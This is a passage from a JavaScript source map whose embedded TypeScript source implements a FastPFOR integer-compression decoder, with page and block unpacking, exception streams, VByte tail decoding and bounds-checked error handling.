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","sourcesContent":["import {\n    MASKS,\n    DEFAULT_PAGE_SIZE,\n    BLOCK_SIZE,\n    greatestMultiple,\n    roundUpToMultipleOf32,\n    normalizePageSize,\n} from \"./fastPforShared\";\nimport {\n    fastUnpack32_2,\n    fastUnpack32_3,\n    fastUnpack32_4,\n    fastUnpack32_5,\n    fastUnpack32_6,\n    fastUnpack32_7,\n    fastUnpack32_8,\n    fastUnpack32_9,\n    fastUnpack32_10,\n    fastUnpack32_11,\n    fastUnpack32_12,\n    fastUnpack32_16,\n    fastUnpack256_1,\n    fastUnpack256_2,\n    fastUnpack256_3,\n    fastUnpack256_4,\n    fastUnpack256_5,\n    fastUnpack256_6,\n    fastUnpack256_7,\n    fastUnpack256_8,\n    fastUnpack256_16,\n    fastUnpack256_Generic,\n} from \"./fastPforUnpack\";\n\n/**\n * FastPFOR decoding implementation.\n *\n * @remarks\n * Terminology note: \"exceptions\" in FastPFOR refer to **outlier values** within a block that do not fit in the\n * chosen base bit-width for that block. These are stored in separate \"exception streams\" and later applied back\n * to the unpacked base values. This is unrelated to JavaScript/TypeScript runtime exceptions.\n */\n\n/**\n * Workspace for the FastPFOR decoder.\n */\nexport type FastPforDecoderWorkspace = {\n    dataToBePacked: Array<Uint32Array>;\n    dataPointers: Int32Array;\n    byteContainer: Uint8Array;\n    byteContainerI32?: Int32Array;\n    exceptionSizes: Int32Array;\n};\n\n/**\n * Workspace for decoding the FastPFOR *wire format* (big-endian int32 words).\n *\n * @remarks\n * This workspace owns:\n * - a scratch `encodedWords` buffer to materialize big-endian words\n * - the reusable `FastPforDecoderWorkspace` used by `decodeFastPforInt32`\n *\n * The caller is responsible for creating and reusing this object.\n */\nexport type FastPforWireDecodeWorkspace = {\n    encodedWords: Uint32Array;\n    decoderWorkspace: FastPforDecoderWorkspace;\n};\n\nconst MAX_BIT_WIDTH = 32;\nconst BIT_WIDTH_SLOTS = MAX_BIT_WIDTH + 1;\n\nconst PAGE_SIZE = normalizePageSize(DEFAULT_PAGE_SIZE);\nconst BYTE_CONTAINER_SIZE = ((3 * PAGE_SIZE) / BLOCK_SIZE + PAGE_SIZE) | 0;\n\n/**\n * Creates an isolated workspace for decoding.\n * Reusing a workspace across calls avoids repeated allocations.\n */\nexport function createDecoderWorkspace(): FastPforDecoderWorkspace {\n    const byteContainer = new Uint8Array(BYTE_CONTAINER_SIZE);\n    return {\n        dataToBePacked: new Array(BIT_WIDTH_SLOTS),\n        dataPointers: new Int32Array(BIT_WIDTH_SLOTS),\n        byteContainer,\n        byteContainerI32: new Int32Array(\n            byteContainer.buffer,\n            byteContainer.byteOffset,\n            byteContainer.byteLength >>> 2,\n        ),\n        exceptionSizes: new Int32Array(BIT_WIDTH_SLOTS),\n    };\n}\n\nexport function createFastPforWireDecodeWorkspace(\n    initialEncodedWordCapacity: number = 16,\n): FastPforWireDecodeWorkspace {\n    if (initialEncodedWordCapacity < 0) {\n        throw new RangeError(`initialEncodedWordCapacity must be >= 0, got ${initialEncodedWordCapacity}`);\n    }\n\n    const capacity = Math.max(16, initialEncodedWordCapacity | 0);\n    return {\n        encodedWords: new Uint32Array(capacity),\n        decoderWorkspace: createDecoderWorkspace(),\n    };\n}\n\nexport function ensureFastPforWireEncodedWordsCapacity(\n    workspace: FastPforWireDecodeWorkspace,\n    requiredWordCount: number,\n): Uint32Array {\n    if (requiredWordCount <= workspace.encodedWords.length) return workspace.encodedWords;\n\n    const next = new Uint32Array(Math.max(16, requiredWordCount * 2));\n    workspace.encodedWords = next;\n    return next;\n}\n\nfunction materializeByteContainer(\n    inValues: Uint32Array,\n    byteContainerStart: number,\n    byteSize: number,\n    workspace: FastPforDecoderWorkspace,\n): Uint8Array {\n    if (workspace.byteContainer.length < byteSize) {\n        workspace.byteContainer = new Uint8Array(byteSize * 2);\n        workspace.byteContainerI32 = undefined;\n    }\n    const byteContainer = workspace.byteContainer;\n    const numFullInts = byteSize >>> 2;\n\n    if ((byteContainer.byteOffset & 3) === 0) {\n        let intView = workspace.byteContainerI32;\n        if (\n            !intView ||\n            intView.buffer !== byteContainer.buffer ||\n            intView.byteOffset !== byteContainer.byteOffset ||\n            intView.length < numFullInts\n        ) {\n            intView = workspace.byteContainerI32 = new Int32Array(\n                byteContainer.buffer,\n                byteContainer.byteOffset,\n                byteContainer.byteLength >>> 2,\n            );\n        }\n\n        intView.set(inValues.subarray(byteContainerStart, byteContainerStart + numFullInts));\n    } else {\n        for (let i = 0; i < numFullInts; i = (i + 1) | 0) {\n            const val = inValues[(byteContainerStart + i) | 0] | 0;\n            const base = i << 2;\n            byteContainer[base] = val & 0xff;\n            byteContainer[(base + 1) | 0] = (val >>> 8) & 0xff;\n            byteContainer[(base + 2) | 0] = (val >>> 16) & 0xff;\n            byteContainer[(base + 3) | 0] = (val >>> 24) & 0xff;\n        }\n    }\n\n    const remainder = byteSize & 3;\n    if (remainder > 0) {\n        const lastIntIdx = (byteContainerStart + numFullInts) | 0;\n        const lastVal = inValues[lastIntIdx] | 0;\n        const base = numFullInts << 2;\n        for (let r = 0; r < remainder; r = (r + 1) | 0) {\n            byteContainer[(base + r) | 0] = (lastVal >>> (r << 3)) & 0xff;\n        }\n    }\n\n    return byteContainer;\n}\n\n/**\n * Unpacks the per-bitWidth \"exception streams\" described by the page's bitmap.\n *\n * @remarks\n * For each bit-width present in the bitmap, a stream header gives the count of outlier values for that\n * bit-width, followed by packed bits representing those values.\n *\n * @param inValues - Packed input (32-bit words).\n * @param inExcept - Offset (32-bit word index) where the exception bitmap starts.\n * @param workspace - Decoder workspace used to store the unpacked exception streams.\n * @returns The new input offset (32-bit word index) after consuming all exception streams.\n */\nfunction unpackExceptionStreams(inValues: Uint32Array, inExcept: number, workspace: FastPforDecoderWorkspace): number {\n    const bitmap = inValues[inExcept++] | 0;\n    const dataToBePacked = workspace.dataToBePacked;\n\n    for (let bitWidth = 2; bitWidth <= MAX_BIT_WIDTH; bitWidth = (bitWidth + 1) | 0) {\n        if (((bitmap >>> (bitWidth - 1)) & 1) === 0) continue;\n\n        if (inExcept >= inValues.length) {\n            throw new Error(\n                `FastPFOR decode: truncated exception stream header (bitWidth=${bitWidth}, streamWordIndex=${inExcept}, needWords=1, availableWords=${inValues.length - inExcept}, encodedWords=${inValues.length})`,\n            );\n        }\n        const size = inValues[inExcept++] >>> 0;\n        const roundedUp = roundUpToMultipleOf32(size);\n\n        const wordsNeeded = (size * bitWidth + 31) >>> 5;\n        if (inExcept + wordsNeeded > inValues.length) {\n            throw new Error(\n                `FastPFOR decode: truncated exception stream (bitWidth=${bitWidth}, size=${size}, streamWordIndex=${inExcept}, needWords=${wordsNeeded}, availableWords=${inValues.length - inExcept}, encodedWords=${inValues.length})`,\n            );\n        }\n\n        let exceptionStream = dataToBePacked[bitWidth];\n        if (!exceptionStream || exceptionStream.length < roundedUp) {\n            exceptionStream = dataToBePacked[bitWidth] = new Uint32Array(roundedUp);\n        }\n\n        let j = 0;\n        for (; j < size; j = (j + 32) | 0) {\n            fastUnpack32(inValues, inExcept, exceptionStream, j, bitWidth);\n            inExcept = (inExcept + bitWidth) | 0;\n        }\n\n        const overflow = (j - size) | 0;\n        inExcept = (inExcept - ((overflow * bitWidth) >>> 5)) | 0;\n\n        workspace.exceptionSizes[bitWidth] = size;\n    }\n\n    return inExcept;\n}\n\n/**\n * Unpacks one 256-value block from the packed bitstream using a specialized implementation for common widths.\n *\n * @param inValues - Packed input (32-bit words).\n * @param inPos - Input offset (32-bit word index) where the packed block starts.\n * @param out - Output buffer.\n * @param outPos - Output offset where the 256 values will be written.\n * @param bitWidth - Base bit-width used for this block.\n * @returns The new input offset (32-bit word index) right after the packed block data.\n */\nfunction unpackBlock256(\n    inValues: Uint32Array,\n    inPos: number,\n    out: Uint32Array,\n    outPos: number,\n    bitWidth: number,\n): number {\n    switch (bitWidth) {\n        case 1:\n            fastUnpack256_1(inValues, inPos, out, outPos);\n            break;\n        case 2:\n            fastUnpack256_2(inValues, inPos, out, outPos);\n            break;\n        case 3:\n            fastUnpack256_3(inValues, inPos, out, outPos);\n            break;\n        case 4:\n            fastUnpack256_4(inValues, inPos, out, outPos);\n            break;\n        case 5:\n            fastUnpack256_5(inValues, inPos, out, outPos);\n            break;\n        case 6:\n            fastUnpack256_6(inValues, inPos, out, outPos);\n            break;\n        case 7:\n            fastUnpack256_7(inValues, inPos, out, outPos);\n            break;\n        case 8:\n            fastUnpack256_8(inValues, inPos, out, outPos);\n            break;\n        case 16:\n            fastUnpack256_16(inValues, inPos, out, outPos);\n            break;\n        default:\n            fastUnpack256_Generic(inValues, inPos, out, outPos, bitWidth);\n            break;\n    }\n\n    return (inPos + (bitWidth << 3)) | 0;\n}\n\n/**\n * Reads and validates the 2-byte block header from the byteContainer.\n *\n * @remarks\n * The header is `[bitWidth, exceptionCount]`, both stored as single bytes.\n *\n * @param byteContainer - Byte metadata buffer for the page.\n * @param byteContainerLen - The valid byte length in `byteContainer` for this page.\n * @param bytePosIn - Current offset in `byteContainer`.\n * @param block - Block index within the page (for error messages).\n * @returns The parsed header and the updated `bytePosIn`.\n */\nfunction readBlockHeader(\n    byteContainer: Uint8Array,\n    byteContainerLen: number,\n    bytePosIn: number,\n    block: number,\n): { bitWidth: number; exceptionCount: number; bytePosIn: number } {\n    if (bytePosIn + 2 > byteContainerLen) {\n        throw new Error(\n            `FastPFOR decode: byteContainer underflow at block=${block} (need 2 bytes for [bitWidth, exceptionCount], bytePos=${bytePosIn}, byteSize=${byteContainerLen})`,\n        );\n    }\n\n    const bitWidth = byteContainer[bytePosIn++];\n    const exceptionCount = byteContainer[bytePosIn++];\n\n    if (bitWidth > MAX_BIT_WIDTH) {\n        throw new Error(\n            `FastPFOR decode: invalid bitWidth=${bitWidth} at block=${block} (expected 0..${MAX_BIT_WIDTH}). This likely indicates corrupted or truncated input.`,\n        );\n    }\n\n    return { bitWidth, exceptionCount, bytePosIn };\n}\n\n/**\n * Reads and validates the exception header for a block.\n *\n * @remarks\n * The header contains `maxBits` (1 byte), which defines the width of the outlier values as\n * `exceptionBitWidth = maxBits - bitWidth`.\n *\n * @param byteContainer - Byte metadata buffer for the page.\n * @param byteContainerLen - The valid byte length in `byteContainer` for this page.\n * @param bytePosIn - Current offset in `byteContainer`.\n * @param bitWidth - Base bit-width for the block.\n * @param exceptionCount - Number of exceptions/outliers in this block.\n * @param block - Block index within the page (for error messages).\n * @returns Parsed `maxBits`, `exceptionBitWidth`, and the updated `bytePosIn`.\n */\nfunction readBlockExceptionHeader(\n    byteContainer: Uint8Array,\n    byteContainerLen: number,\n    bytePosIn: number,\n    bitWidth: number,\n    exceptionCount: number,\n    block: number,\n): { maxBits: number; exceptionBitWidth: number; bytePosIn: number } {\n    if (bytePosIn + 1 > byteContainerLen) {\n        throw new Error(\n            `FastPFOR decode: exception header underflow at block=${block} (need 1 byte for maxBits, bytePos=${bytePosIn}, byteSize=${byteContainerLen})`,\n        );\n    }\n    const maxBits = byteContainer[bytePosIn++];\n\n    if (maxBits < bitWidth || maxBits > MAX_BIT_WIDTH) {\n        throw new Error(\n            `FastPFOR decode: invalid maxBits=${maxBits} at block=${block} (bitWidth=${bitWidth}, expected ${bitWidth}..${MAX_BIT_WIDTH})`,\n        );\n    }\n    const exceptionBitWidth = (maxBits - bitWidth) | 0;\n    if (exceptionBitWidth < 1 || exceptionBitWidth > MAX_BIT_WIDTH) {\n        throw new Error(\n            `FastPFOR decode: invalid exceptionBitWidth=${exceptionBitWidth} at block=${block} (bitWidth=${bitWidth}, maxBits=${maxBits})`,\n        );\n    }\n\n    if (bytePosIn + exceptionCount > byteContainerLen) {\n        throw new Error(\n            `FastPFOR decode: exception positions underflow at block=${block} (need=${exceptionCount}, have=${byteContainerLen - bytePosIn})`,\n        );\n    }\n\n    return { maxBits, exceptionBitWidth, bytePosIn };\n}\n\n/**\n * Applies (block-local) FastPFOR \"exceptions\" (outliers) to an already-unpacked base 256-value block.\n *\n * @param out - Output buffer containing the base unpacked values for the block.\n * @param blockOutPos - Offset in `out` where the 256-value block starts.\n * @param bitWidth - Base bit-width for the block.\n * @param exceptionCount - Number of exceptions/outliers in this block.\n * @param byteContainer - Byte metadata buffer for the page.\n * @param byteContainerLen - The valid byte length in `byteContainer` for this page.\n * @param bytePosIn - Current offset in `byteContainer` (right after `[bitWidth, exceptionCount]`).\n * @param workspace - Decoder workspace holding the unpacked exception streams.\n * @param block - Block index within the page (for error messages).\n * @returns The updated `bytePosIn` after consuming the exception metadata bytes.\n *\n * The exception metadata is stored in `byteContainer`:\n * - `maxBits` (1 byte): the maximum bit-width of any value in the block\n * - `exceptionCount` exception positions (1 byte each, 0..255)\n *\n * The exception values themselves are read from the pre-unpacked exception streams stored in `workspace`.\n * Returns the new position in the byteContainer after consuming the exception metadata bytes.\n */\nfunction applyBlockExceptions(\n    out: Uint32Array,\n    blockOutPos: number,\n    bitWidth: number,\n    exceptionCount: number,\n    byteContainer: Uint8Array,\n    byteContainerLen: number,\n    bytePosIn: number,\n    workspace: FastPforDecoderWorkspace,\n    block: number,\n): number {\n    const {\n        maxBits,\n        exceptionBitWidth,\n        bytePosIn: afterHeaderPos,\n    } = readBlockExceptionHeader(byteContainer, byteContainerLen, bytePosIn, bitWidth, exceptionCount, block);\n    bytePosIn = afterHeaderPos;\n\n    if (exceptionBitWidth === 1) {\n        const shift = 1 << bitWidth;\n        for (let k = 0; k < exceptionCount; k = (k + 1) | 0) {\n            const pos = byteContainer[bytePosIn++];\n            out[(pos + blockOutPos) | 0] |= shift;\n        }\n        return bytePosIn;\n    }\n\n    const exceptionValues = workspace.dataToBePacked[exceptionBitWidth];\n    if (!exceptionValues) {\n        throw new Error(\n            `FastPFOR decode: missing exception stream for exceptionBitWidth=${exceptionBitWidth} (bitWidth=${bitWidth}, maxBits=${maxBits}) at block ${block}`,\n        );\n    }\n\n    const exceptionPointers = workspace.dataPointers;\n    let exPtr = exceptionPointers[exceptionBitWidth] | 0;\n    const exSize = workspace.exceptionSizes[exceptionBitWidth] | 0;\n\n    if (exPtr + exceptionCount > exSize) {\n        throw new Error(\n            `FastPFOR decode: exception stream overflow for exceptionBitWidth=${exceptionBitWidth} (ptr=${exPtr}, need ${exceptionCount}, size=${exSize}) at block ${block}`,\n        );\n    }\n\n    for (let k = 0; k < exceptionCount; k = (k + 1) | 0) {\n        const pos = byteContainer[bytePosIn++];\n        const val = exceptionValues[exPtr++] | 0;\n        out[(pos + blockOutPos) | 0] |= val << bitWidth;\n    }\n    exceptionPointers[exceptionBitWidth] = exPtr;\n    return bytePosIn;\n}\n\nfunction decodePageBlocks(\n    inValues: Uint32Array,\n    pageStart: number,\n    inPos: number,\n    packedEnd: number,\n    out: Uint32Array,\n    outPos: number,\n    blocks: number,\n    byteContainer: Uint8Array,\n    byteContainerLen: number,\n    workspace: FastPforDecoderWorkspace,\n): void {\n    let tmpInPos = inPos | 0;\n    let bytePosIn = 0;\n\n    for (let run = 0; run < blocks; run = (run + 1) | 0) {\n        const header = readBlockHeader(byteContainer, byteContainerLen, bytePosIn, run);\n        bytePosIn = header.bytePosIn;\n        const bitWidth = header.bitWidth;\n        const exceptionCount = header.exceptionCount;\n\n        const blockOutPos = (outPos + run * BLOCK_SIZE) | 0;\n\n        switch (bitWidth) {\n            case 0:\n                out.fill(0, blockOutPos, blockOutPos + BLOCK_SIZE);\n                break;\n\n            case 32:\n                for (let i = 0; i < BLOCK_SIZE; i = (i + 1) | 0) {\n                    out[(blockOutPos + i) | 0] = inValues[(tmpInPos + i) | 0] | 0;\n                }\n                tmpInPos = (tmpInPos + BLOCK_SIZE) | 0;\n                break;\n\n            default:\n                tmpInPos = unpackBlock256(inValues, tmpInPos, out, blockOutPos, bitWidth);\n                break;\n        }\n\n        if (exceptionCount > 0) {\n            bytePosIn = applyBlockExceptions(\n                out,\n                blockOutPos,\n                bitWidth,\n                exceptionCount,\n                byteContainer,\n                byteContainerLen,\n                bytePosIn,\n                workspace,\n                run,\n            );\n        }\n    }\n\n    if (tmpInPos !== packedEnd) {\n        throw new Error(\n            `FastPFOR decode: packed region mismatch (pageStart=${pageStart}, packedStart=${inPos}, consumedPackedEnd=${tmpInPos}, expectedPackedEnd=${packedEnd}, packedWords=${packedEnd - inPos}, encoded.length=${inValues.length})`,\n        );\n    }\n\n    return;\n}\n\n/**\n * Decodes one FastPFOR page (aligned to 256-value blocks).\n */\nfunction decodePage(\n    inValues: Uint32Array,\n    out: Uint32Array,\n    inPos: number,\n    outPos: number,\n    thisSize: number,\n    workspace: FastPforDecoderWorkspace,\n): number {\n    const pageStart = inPos | 0;\n    const whereMeta = inValues[pageStart] | 0;\n\n    if (whereMeta <= 0 || pageStart + whereMeta > inValues.length - 1) {\n        throw new Error(\n            `FastPFOR decode: invalid whereMeta=${whereMeta} at pageStart=${pageStart} (expected > 0 and pageStart+whereMeta < encoded.length=${inValues.length})`,\n        );\n    }\n\n    const packedStart = (pageStart + 1) | 0;\n    const packedEnd = (pageStart + whereMeta) | 0;\n\n    const byteSize = inValues[packedEnd] >>> 0;\n    const metaInts = (byteSize + 3) >>> 2;\n    const byteContainerStart = packedEnd + 1;\n    const bitmapPos = byteContainerStart + metaInts;\n\n    if (bitmapPos >= inValues.length) {\n        throw new Error(\n            `FastPFOR decode: invalid byteSize=${byteSize} (metaInts=${metaInts}, pageStart=${pageStart}, packedEnd=${packedEnd}, byteContainerStart=${byteContainerStart}) causes bitmapPos=${bitmapPos} out of bounds (encoded.length=${inValues.length})`,\n        );\n    }\n\n    const byteContainer = materializeByteContainer(inValues, byteContainerStart, byteSize, workspace);\n    const byteContainerLen = byteSize;\n\n    const inExcept = unpackExceptionStreams(inValues, bitmapPos, workspace);\n\n    const exceptionPointers = workspace.dataPointers;\n    exceptionPointers.fill(0);\n    const startOutPos = outPos | 0;\n    const blocks = (thisSize / BLOCK_SIZE) | 0;\n    decodePageBlocks(\n        inValues,\n        pageStart,\n        packedStart,\n        packedEnd,\n        out,\n        startOutPos,\n        blocks,\n        byteContainer,\n        byteContainerLen,\n        workspace,\n    );\n\n    return inExcept;\n}\n\nfunction decodeAlignedPages(\n    inValues: Uint32Array,\n    out: Uint32Array,\n    inPos: number,\n    outPos: number,\n    outLength: number,\n    workspace: FastPforDecoderWorkspace,\n): number {\n    const alignedOutLength = greatestMultiple(outLength, BLOCK_SIZE);\n    const finalOut = outPos + alignedOutLength;\n    let tmpOutPos = outPos;\n    let tmpInPos = inPos;\n\n    while (tmpOutPos !== finalOut) {\n        const thisSize = Math.min(PAGE_SIZE, finalOut - tmpOutPos);\n        tmpInPos = decodePage(inValues, out, tmpInPos, tmpOutPos, thisSize, workspace);\n        tmpOutPos = (tmpOutPos + thisSize) | 0;\n    }\n\n    return tmpInPos;\n}\n\n/**\n * Decodes the VariableByte tail (MSB=1 terminator, opposite of Protobuf Varint).\n */\nfunction decodeVByte(\n    inValues: Uint32Array,\n    inPos: number,\n    inLength: number,\n    out: Uint32Array,\n    outPos: number,\n    expectedCount: number,\n): number {\n    if (expectedCount === 0) return inPos;\n\n    let bitOffset = 0;\n    let wordIndex = inPos;\n    const finalWordIndex = inPos + inLength;\n    const outPos0 = outPos;\n    let tmpOutPos = outPos;\n    const targetOut = outPos + expectedCount;\n\n    let accumulator = 0;\n    let accumulatorShift = 0;\n\n    while (wordIndex < finalWordIndex && tmpOutPos < targetOut) {\n        const word = inValues[wordIndex];\n        const byte = (word >>> bitOffset) & 0xff;\n        bitOffset += 8;\n        wordIndex += bitOffset >>> 5;\n        bitOffset &= 31;\n\n        accumulator |= (byte & 0x7f) << accumulatorShift;\n        if ((byte & 0x80) !== 0) {\n            out[tmpOutPos++] = accumulator | 0;\n            accumulator = 0;\n            accumulatorShift = 0;\n        } else {\n            accumulatorShift += 7;\n            if (accumulatorShift > 28) {\n                throw new Error(\n                    `FastPFOR VByte: unterminated value (expected MSB=1 terminator within 5 bytes; shift=${accumulatorShift}, partial=${accumulator}, decoded=${tmpOutPos - outPos0}/${expectedCount}, inPos=${wordIndex}, inEnd=${finalWordIndex})`,\n                );\n            }\n        }\n    }\n\n    if (tmpOutPos !== targetOut) {\n        throw new Error(\n            `FastPFOR VByte: truncated stream (decoded=${tmpOutPos - outPos0}, expected=${expectedCount}, consumedWords=${wordIndex - inPos}/${inLength}, vbyteStart=${inPos}, vbyteEnd=${finalWordIndex})`,\n        );\n    }\n\n    return wordIndex;\n}\n\n/**\n * Decodes a sequence of FastPFOR-encoded integers.\n *\n * @param encoded The input buffer containing FastPFOR encoded data.\n * @param numValues The number of integers expected to be decoded.\n * @param workspace Optional workspace for reuse across calls. If omitted, a new workspace is created per call.\n */\nexport function decodeFastPforInt32(\n    encoded: Uint32Array,\n    numValues: number,\n    workspace?: FastPforDecoderWorkspace,\n): Uint32Array {\n    let inPos = 0;\n    let outPos = 0;\n    const decoded = new Uint32Array(numValues);\n\n    const decoderWorkspace = workspace ?? createDecoderWorkspace();\n\n    if (encoded.length > 0) {\n        const alignedLength = encoded[inPos] | 0;\n        inPos = (inPos + 1) | 0;\n\n        if ((alignedLength & (BLOCK_SIZE - 1)) !== 0) {\n            throw new Error(\n                `FastPFOR decode: invalid alignedLength=${alignedLength} (expected multiple of ${BLOCK_SIZE})`,\n            );\n        }\n\n        if (outPos + alignedLength > decoded.length) {\n            throw new Error(\n                `FastPFOR decode: output buffer too small (outPos=${outPos}, alignedLength=${alignedLength}, out.length=${decoded.length})`,\n            );\n        }\n\n        inPos = decodeAlignedPages(encoded, decoded, inPos, outPos, 